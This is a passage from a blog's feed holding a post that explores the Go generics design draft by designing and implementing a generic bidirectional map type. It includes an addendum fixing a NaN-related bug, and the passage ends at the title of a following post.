if you don&rsquo;t know what generics are or if you&rsquo;re doubtful as to whether
they&rsquo;re a good fit for Go,
I invite you to read <a href="https://blog.golang.org/why-generics" target="_blank" rel="noopener">Ian Lance Taylor&rsquo;s 2019 post</a>
on the topic.</p>
<p>The latest version of Go at the time of writing this post (v1.14)
doesn&rsquo;t support generics.
As a result, library authors striving for maximum flexibility often have
no other choice but to resort to using the <a href="https://tour.golang.org/methods/14" target="_blank" rel="noopener">empty interface</a>
(<code>interface{}</code>) all over the place (see <a href="https://golang.org/pkg/sync/#Map" target="_blank" rel="noopener"><code>sync.Map</code></a>, for instance).
Unfortunately, the ramifications of such a design choice can be acutely felt
in client code.
The empty interface being such an indiscriminate abstract type,
it provides no compile-time guarantee as to what behaviours the concrete type
underneath might exhibit.
Users of the library are then forced to pepper their code with type assertions
in order to manipulate the concrete types hiding underneath <code>interface{}</code>.
Generics purport to solve this problem:
they hold the promise of more flexible code
without having to compromise on usability or type safety.</p>
<p>Some legitimate questions about the addition of generics to Go remain, though.
Will it affect compilation speed detrimentally?
More importantly, will it significantly compromise Go&rsquo;s agenda of simplicity?
Will it drastically complicate writing, reading, and consuming Go code?
Finding answers to some of those questions was my primary motivation for
writing this post.</p>
<h2 id="important-changes-to-the-generics-design-draft">Important changes to the generics design draft <a href="#important-changes-to-the-generics-design-draft">¶</a></h2>
<p>I won&rsquo;t go into the gory details here; you can read the
<a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/43651-type-parameters.md" target="_blank" rel="noopener">updated design draft</a> for completeness.
Here are the main elements I took away from it.</p>
<h3 id="contracts-are-gone">Contracts are gone <a href="#contracts-are-gone">¶</a></h3>
<p>Most importantly,
<a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/go2draft-contracts.md" target="_blank" rel="noopener"><em>contracts</em></a> have been dropped from the design draft.
Thanks to <a href="https://arxiv.org/abs/2005.11710" target="_blank" rel="noopener">insight</a>
from parametric-polymorphism expert
(and <a href="https://www.youtube.com/watch?v=aeRVdYN6fE8&amp;t=51m35s" target="_blank" rel="noopener">lambda-calculus superhero</a>)
<a href="https://homepages.inf.ed.ac.uk/wadler/" target="_blank" rel="noopener">Phil Wadler</a> and his collaborators,
the Go team was able to unify contracts under the existing concept of interfaces.
I believe this to be an important step in the right direction, for two main reason:</p>
<ul>
<li>The concept of contracts was always confusingly similar to,
yet distinct from, that of interfaces.
I remember this blurred line caused a mental block for me: it
probably explains why I didn&rsquo;t delve into the generics draft design before
the most recent update.</li>
<li>The addition of a <code>contract</code> keyword, which would have required a break of
compatibility with Go 1.0 at the source level, is no longer needed.
The current draft proposal
<a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/go2draft-type-parameters.md#using-generic-types-as-unnamed-function-parameter-types" target="_blank" rel="noopener">still requires changes to the language</a>,
but those changes are expected to be largely inconsequential
for the majority of programs.</li>
</ul>
<h3 id="a-new-comparable-interface">A new <code>comparable</code> interface <a href="#a-new-comparable-interface">¶</a></h3>
<p>Another notable change is the addition of an interface type named <code>comparable</code>
as a predeclared name in the language.
You guessed it: <code>comparable</code> denotes types that can be compared with operators
<code>==</code> and <code>!=</code>.</p>
<h2 id="one-use-case-for-generics-a-bidirectional-map">One use case for generics: a bidirectional map <a href="#one-use-case-for-generics-a-bidirectional-map">¶</a></h2>
<p>After perusing the updated design draft,
I scoured through my personal notes for interesting use cases of generics in
Go libraries and programs, and the idea for a generic bidirectional map
popped up.
According to <a href="https://en.wikipedia.org/wiki/Bidirectional_map" target="_blank" rel="noopener">Wikipedia</a>, a <em>bidirectional map</em> is</p>
<blockquote>
<p>an associative data structure in which the key-value pairs form a
one-to-one correspondence. Thus the binary relation is functional in each
direction: each value can also be mapped to a unique key.</p>
</blockquote>
<p>In other words, a bidirectional map is an abstraction not unlike a regular map
but that enforces the following invariant: each value is associated to one and
only one key.</p>
<p>In one of my side projects, I recently came across a use case
(a tag system if you must know)
for a bidirectional map.
A non-generic implementation (of strings to strings) did the trick,
but it left me wondering:</p>
<ul>
<li>What would a generic implementation look like?</li>
<li>How does the addition of generics to the language change API design of Go
packages?</li>
<li>How natural would it feel to use such a package?</li>
</ul>
<p>Curiosity proved too strong to resist and I set out to design a Go API for a
generic bidirectional map.</p>
<h2 id="api-design-of-a-generic-bidirectional-map">API design of a generic bidirectional map <a href="#api-design-of-a-generic-bidirectional-map">¶</a></h2>
<p>First things first: before diving into a possible implementation,
let me outline what I&rsquo;m trying to achieve.</p>
<h3 id="the-bimap-package-and-its-exported-bimap-type">The <code>bimap</code> package and its exported <code>Bimap</code> type <a href="#the-bimap-package-and-its-exported-bimap-type">¶</a></h3>
<p>The objective is to write a single package named <code>bimap</code>, which
exports a (concrete) generic bidirectional-map type named <code>Bimap</code>.
This type should take two <em>comparable</em> type parameters,
one for for keys and and one for values.</p>
<h3 id="the-zero-value-should-be-readily-usable">The zero value should be readily usable <a href="#the-zero-value-should-be-readily-usable">¶</a></h3>
<p>An <a href="https://www.youtube.com/watch?v=aAb7hSCtvGw&amp;t=6m" target="_blank" rel="noopener">important lesson in API design from Josh Bloch</a>
that marked my Java days and has stayed with me ever since is that</p>
<blockquote>
<p>[&hellip;] not only should it be easy to use a good API,
but it should be hard to misuse a good API.</p>
</blockquote>
<p>Designing a type so that its zero value correspond to a valid state
is an important principle in Go, as it helps making the type&rsquo;s API
hard to misuse.</p>
<h3 id="factory-function-and-methods">Factory function and methods <a href="#factory-function-and-methods">¶</a></h3>
<p><code>bimap</code> should provide a factory function for <code>Bimap</code>; such a function
is named <code>New</code>, by convention.
Here is a list of <code>Bimap</code>&rsquo;s methods:</p>
<ul>
<li><code>func (bi *Bimap[K, V]) Store(key K, value V)</code></li>
<li><code>func (bi *Bimap[K, V]) LoadValue(k K) (V, bool)</code></li>
<li><code>func (bi *Bimap[K, V]) LoadKey(v V) (K, bool)</code></li>
<li><code>func (bi *Bimap[K, V]) DeleteByKey(k K)</code></li>
<li><code>func (bi *Bimap[K, V]) DeleteByValue(v V)</code></li>
<li><code>func (bi *Bimap[K, V]) Size() int</code></li>
<li><code>func (bi *Bimap[K, V]) String() string</code></li>
</ul>
<p>I apologise for the verbosity of some of those method names,
but I  wanted them to reflect the symmetry of the data structure:
the roles of keys and values could indeed be swapped without consequence.</p>
<p>Note that all those methods use a pointer receiver:
most of them require mutation of the <code>Bimap</code>&rsquo;s internal state,
and mixing pointer and value receivers within a single type is discouraged.</p>
<p><code>Store</code> stores a key-value pair in the bidirectional map.
Several semantics are possible, but one natural design choice is to silently
drop pre-existing pairs involving the supplied key or the supplied value.
<code>LoadValue</code> returns the value stored in the bidirectional map for a key
and a boolean that indicates whether the key in question was found;
<code>LoadKey</code> is <code>LoadValue</code>&rsquo;s symmetric operation.
<code>DeleteByKey</code> and <code>DeleteByValue</code> delete the key-value pair associated with
the given key or value, respectively.
<code>Size</code> returns the number of key-value pairs in the bidirectional map.
Finally, <code>Keys</code> returns a slice of the keys,
and <code>Values</code> returns a slice of the values, in no deterministic order.</p>
<p>The API of my <code>bimap</code> package is deliberately  minimalistic.
In particular, <code>Bimap</code> lacks a <code>Range</code> method;
I leave this as an exercise for you.
For visualisation purposes, though, I&rsquo;ll make <code>Bimap</code> a <code>Stringer</code>,
with a simple <code>String</code> implementation.</p>
<h2 id="one-possible-implementation">One possible implementation <a href="#one-possible-implementation">¶</a></h2>
<p>A very common implementation of a bidirectional map involves maintaining two
maps, one from keys to values and another from values to keys;
not a bad starting point,
at least for <a href="https://golang.org/src/sync/map_reference_test.go#L23" target="_blank" rel="noopener">a reference implementation of such a data structure</a>.
Because <code>Bimap</code> will hold at least two maps, the most natural choice for
its <a href="https://golang.org/ref/spec#Types" target="_blank" rel="noopener">underlying type</a> is a struct.</p>
<p>All those design decisions lead us to the following type declaration for <code>Bimap</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span> <span style="color:#a6e22e">comparable</span>] <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">forward</span> <span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">K</span>]<span style="color:#a6e22e">V</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">inverse</span> <span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">V</span>]<span style="color:#a6e22e">K</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The type parameters <code>K</code> and <code>V</code>, which are constrained to be comparable,
are introduced in square brackets following the type name.</p>
<p>For encapsulation purposes, the struct is completely opaque
i.e., none of the fields are exported:
otherwise, users of the  <code>bimap</code> package would be able to mess with
<code>Bimap</code>&rsquo;s internals directly and break its invariant.</p>
<p>Writing the rest of the <code>bimap</code> package is relatively straightforward:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">Store</span>(<span style="color:#a6e22e">key</span> <span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">value</span> <span style="color:#a6e22e">V</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">k</span>, <span style="color:#a6e22e">exists</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">value</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">exists</span> { <span style="color:#75715e">// value is already associated with k</span>
</span></span><span style="display:flex;"><span>		delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>, <span style="color:#a6e22e">k</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">v</span>, <span style="color:#a6e22e">exists</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">key</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">exists</span> { <span style="color:#75715e">// key is already associated with v</span>
</span></span><span style="display:flex;"><span>		delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> { <span style="color:#75715e">// bi hasn&#39;t been initialised yet</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span> = make(<span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">K</span>]<span style="color:#a6e22e">V</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span> = make(<span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">V</span>]<span style="color:#a6e22e">K</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">key</span>] = <span style="color:#a6e22e">value</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">value</span>] = <span style="color:#a6e22e">key</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">LoadValue</span>(<span style="color:#a6e22e">k</span> <span style="color:#a6e22e">K</span>) (<span style="color:#a6e22e">V</span>, <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">v</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">k</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">v</span>, <span style="color:#a6e22e">ok</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">LoadKey</span>(<span style="color:#a6e22e">v</span> <span style="color:#a6e22e">V</span>) (<span style="color:#a6e22e">K</span>, <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">k</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">v</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>, <span style="color:#a6e22e">ok</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">DeleteByKey</span>(<span style="color:#a6e22e">k</span> <span style="color:#a6e22e">K</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">v</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">k</span>]
</span></span><span style="display:flex;"><span>	delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>, <span style="color:#a6e22e">k</span>)
</span></span><span style="display:flex;"><span>	delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">DeleteByValue</span>(<span style="color:#a6e22e">v</span> <span style="color:#a6e22e">V</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">k</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">v</span>]
</span></span><span style="display:flex;"><span>	delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>	delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>, <span style="color:#a6e22e">k</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">Size</span>() <span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> len(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">Keys</span>() []<span style="color:#a6e22e">K</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">keys</span> []<span style="color:#a6e22e">K</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">k</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">keys</span> = append(<span style="color:#a6e22e">keys</span>, <span style="color:#a6e22e">k</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">keys</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">Values</span>() []<span style="color:#a6e22e">V</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">values</span> []<span style="color:#a6e22e">V</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">v</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">values</span> = append(<span style="color:#a6e22e">values</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">values</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">String</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;Bi%v&#34;</span>, <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Edit (2020-07-23): <code>Store</code> contains a bug; see the <a href="#addendum-20200723">Addendum</a>.</p>
<p>Note that, according to the current design draft,
a generic receiver must specify all the type parameters that
are required by the type,
even when some of those type parameters are not used within the method&rsquo;s body.
For instance, declaring <code>Size</code> as follows</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">_</span>]) <span style="color:#a6e22e">Size</span>() <span style="color:#66d9ef">int</span>
</span></span></code></pre></div><p>is illegal.
Being to able to use the blank identifier in such places would certainly be nice,
but I don&rsquo;t know whether it&rsquo;s on the cards.
I&rsquo;m only speculating here, but perhaps implementing this feature in the compiler
would complicate monomorphisation&hellip;</p>
<p>The full source code of my <code>bimap</code> package, along with a test suite,
is available in my <a href="https://github.com/jub0bs/bimap" target="_blank" rel="noopener">jub0bs/bimap repo</a> on GitHub.</p>
<h2 id="consuming-the-bimap-package">Consuming the <code>bimap</code> package <a href="#consuming-the-bimap-package">¶</a></h2>
<p>Once concrete types have been specified for a <code>Bimap</code>
(a process known in the design draft as <a href="https://go.googlesource.com/proposal/&#43;/refs/heads/master/design/go2draft-type-parameters.md#generic-types" target="_blank" rel="noopener"><em>instantiation</em></a>),
the rest of the client code feels to me as natural as pre-generics Go code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">bi</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bimap</span>.<span style="color:#a6e22e">New</span>[<span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">string</span>]()
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">Store</span>(<span style="color:#ae81ff">0</span>, <span style="color:#e6db74">&#34;Planets&amp;Stars&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">Store</span>(<span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#34;Chemistry&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">Store</span>(<span style="color:#ae81ff">0</span>, <span style="color:#e6db74">&#34;Astronomy&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">DeleteByValue</span>(<span style="color:#e6db74">&#34;Chemistry&#34;</span>)
</span></span></code></pre></div><p>What do you think?</p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p>A bidirectional map is arguably a very simple use case of generics in Go,
but it gives you some idea of what generic code will look like,
should the design draft get accepted with little to no modifications.</p>
<p>What&rsquo;s great about generics is that
this <code>bimap</code> package only needs to be written once
and can be used with any combination of (comparable) concrete types for the
keys and values.
As a library author, I find this liberating.</p>
<p>Moreover,
I doubt that the added cognitive load required from users of generic code
will prove prohibitive.
Generics may be rightfully dreaded in other languages,
but the absence of inheritance makes Go generics comparitively simpler to
apprehend.
As far as I&rsquo;m concerned: Go generics for the win!</p>
<hr>
<h2 id="addendum-20200723">Addendum (2020/07/23) <a href="#addendum-20200723">¶</a></h2>
<p>Unfortunately, as <a href="https://github.com/martisch" target="_blank" rel="noopener">Martin Möhrmann</a>
<a href="https://gophers.slack.com/archives/C88U9BFDZ/p1595426806204400" target="_blank" rel="noopener">pointed out to me</a> on the <a href="https://gophers.slack.com/" target="_blank" rel="noopener">Gophers Slack workspace</a>,
<code>NaN</code> (<a href="https://en.wikipedia.org/wiki/NaN" target="_blank" rel="noopener">Not a Number</a>) throws a spanner in the works
and reveals a subtle bug in my original implementation of <code>Bimap</code>.</p>
<p>The <code>Bimap</code> type uses two backing maps, and maps exhibit a rather weird behaviour
with keys for which equality isn&rsquo;t reflexive
(i.e. <code>k</code> such that <code>k == k</code> evaluates to <code>false</code>).
Equality isn&rsquo;t reflexive for <code>NaN</code> and
for values of any composite type or defined type that contain a <code>NaN</code>.
Because their type is comparable,
such values can legally be added as keys to a map,
but they cannot be loaded or deleted;
check this for yourself in <a href="https://go.dev/play/p/7xTn_uhXyXI" target="_blank" rel="noopener">this playground</a>.</p>
<p>As a result, the invariant of my original implementation of <code>Bimap</code>
can be broken after such values are stored in it;
see an example in <a href="https://go.dev/play/p/Ac9bN0Qx_m-" target="_blank" rel="noopener">this playground</a>.
At first sight, this unforeseen difficulty may seem inescapable&hellip;</p>
<p>An easy way out, though,
short of changing the internal representation of <code>Bimap</code>,
is to disallow storing keys and values for which equality isn&rsquo;t reflexive.
I can define a generic predicate for checking whether equality is reflexive
for its argument,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">isEqualityReflexive</span>[<span style="color:#a6e22e">T</span> <span style="color:#a6e22e">comparable</span>](<span style="color:#a6e22e">t</span> <span style="color:#a6e22e">T</span>) <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">t</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">t</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>and check that both the key and the value passed to the <code>Store</code> method satisfy
this predicate before adding the key-value pair to the <code>Bimap</code>.
Rather than silently denying disallowed values,
<code>Store</code> can be <a href="https://go.dev/play/p/HZJ8nPRx-J5" target="_blank" rel="noopener">modified</a>
to return whether the operation was successful:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Store creates a key-value pair and returns whether or not the</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// operation was successful. Pre-existing key-value pairs (if any)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// that involve the given key and/or the given value are silently</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// removed from the Bimap. Keys and values for which equality is</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// not reflexive are disallowed.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">bi</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Bimap</span>[<span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">V</span>]) <span style="color:#a6e22e">Store</span>(<span style="color:#a6e22e">key</span> <span style="color:#a6e22e">K</span>, <span style="color:#a6e22e">value</span> <span style="color:#a6e22e">V</span>) <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isEqualityReflexive</span>(<span style="color:#a6e22e">key</span>) <span style="color:#f92672">||</span> !<span style="color:#a6e22e">isEqualityReflexive</span>(<span style="color:#a6e22e">value</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">k</span>, <span style="color:#a6e22e">exists</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">value</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">exists</span> { <span style="color:#75715e">// value is already associated with k</span>
</span></span><span style="display:flex;"><span>		delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>, <span style="color:#a6e22e">k</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">v</span>, <span style="color:#a6e22e">exists</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">key</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">exists</span> { <span style="color:#75715e">// key is already associated with v</span>
</span></span><span style="display:flex;"><span>		delete(<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> { <span style="color:#75715e">// bi hasn&#39;t been initialised yet</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span> = make(<span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">K</span>]<span style="color:#a6e22e">V</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span> = make(<span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">V</span>]<span style="color:#a6e22e">K</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">forward</span>[<span style="color:#a6e22e">key</span>] = <span style="color:#a6e22e">value</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">bi</span>.<span style="color:#a6e22e">inverse</span>[<span style="color:#a6e22e">value</span>] = <span style="color:#a6e22e">key</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Note that this boolean result is only useful when either the key type or the
value type or both contain such disallowed values;
with all other types, you can safely ignore that result.</p>
]]></content>
        </item>
        
        <item>
            <title>Leveraging an SSRF to leak a secret API key</title>
            <link>//jub0bs.com/posts/2020-06-23-ssrf/</link>
            <pubDate>Mon, 22 Jun 2020 21:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2020-06-23-ssrf/</guid>
